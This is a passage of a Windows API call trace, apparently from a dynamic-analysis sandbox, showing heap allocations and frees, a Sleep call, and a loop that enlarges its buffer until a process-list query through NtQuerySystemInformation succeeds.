	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892b70
	[0068.538] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.538] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1e) returned 0x289afd8
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289afd8) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2882048
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882048) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2877df8
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877df8) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892910
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2892a50
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892870
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892870) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2877e88
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877e88) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892b70
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x2878008
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878008) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x28927b0
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927b0) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289aec0
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289aec0) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289af88
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289af88) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289af88
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289af88) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289aec0
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289aec0) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2881c58
	[0068.539] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881c58) returned 1
	[0068.539] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2877df8
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877df8) returned 1
	[0068.540] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x287b400
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b400) returned 1
	[0068.540] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289ac18
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac18) returned 1
	[0068.540] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.540] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.540] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892870
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892870) returned 1
	[0068.540] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28927f0
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927f0) returned 1
	[0068.540] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289afd8
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289afd8) returned 1
	[0068.540] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881be8
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881be8) returned 1
	[0068.540] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ac18
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac18) returned 1
	[0068.540] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289aec0
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289aec0) returned 1
	[0068.540] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28de680) returned 1
	[0068.648] Sleep (dwMilliseconds=0x64) 
	[0068.875] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1024) returned 0x2883288
	[0068.875] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2883288, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2883288, ResultLength=0x0) returned 0xc0000004
	[0068.876] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2883288, Size=0x2048) returned 0x28c90c8
	[0068.876] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c90c8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c90c8, ResultLength=0x0) returned 0xc0000004
	[0068.876] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c90c8, Size=0x306c) returned 0x2894bd8
	[0068.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0068.877] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0068.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0068.877] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0068.878] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.878] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0068.878] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.878] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0068.878] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.879] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0068.879] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.879] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0068.879] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.879] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0068.879] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.880] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0068.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.880] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0068.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.880] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0068.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.881] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0068.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.881] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0068.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.882] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0068.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.882] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0068.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.882] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0068.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0068.883] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0068.885] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.886] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0068.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.886] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0068.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.887] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0068.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.887] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0068.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.888] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0068.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.888] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0068.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.889] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0068.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.889] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0068.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.890] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0068.890] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.890] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0068.890] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.890] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0068.891] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.891] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0068.891] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.891] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0068.892] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.892] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0068.892] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.892] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0068.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.893] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0068.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0068.894] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0068.894] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0068.894] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2) returned 0x28b97a8
	[0068.894] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28b97a8) returned 1
	[0068.894] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x287b328
	[0068.894] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b328) returned 1
	[0068.894] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2892a90
	[0068.894] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a90) returned 1
	[0068.894] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892a50
	[0068.894] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.894] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.894] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.894] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x28927f0
	[0068.894] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927f0) returned 1
	[0068.894] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ad58
	[0068.894] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ad58) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ac40
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac40) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892870
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892870) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289ae70
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ae70) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289af10
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289af10) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892b70
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b280
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b280) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892af0
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892af0) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28927f0
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927f0) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892b70
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.895] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.895] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892a90
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a90) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892b70
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289ae70
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ae70) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ae70
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ae70) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881e88
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881e88) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x34) returned 0x286fc08
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fc08) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878218
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878218) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x30) returned 0x2881a28
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881a28) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289b050
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289b050) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2877e58
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877e58) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ae70
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ae70) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b430
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b430) returned 1
	[0068.896] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289b000
	[0068.896] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289b000) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2882048
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882048) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877e88
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877e88) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289afd8
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289afd8) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b478
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b478) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2882048
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882048) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x48) returned 0x28949c0
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28949c0) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2882048
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882048) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x28819b8
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28819b8) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289aec0
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289aec0) returned 1
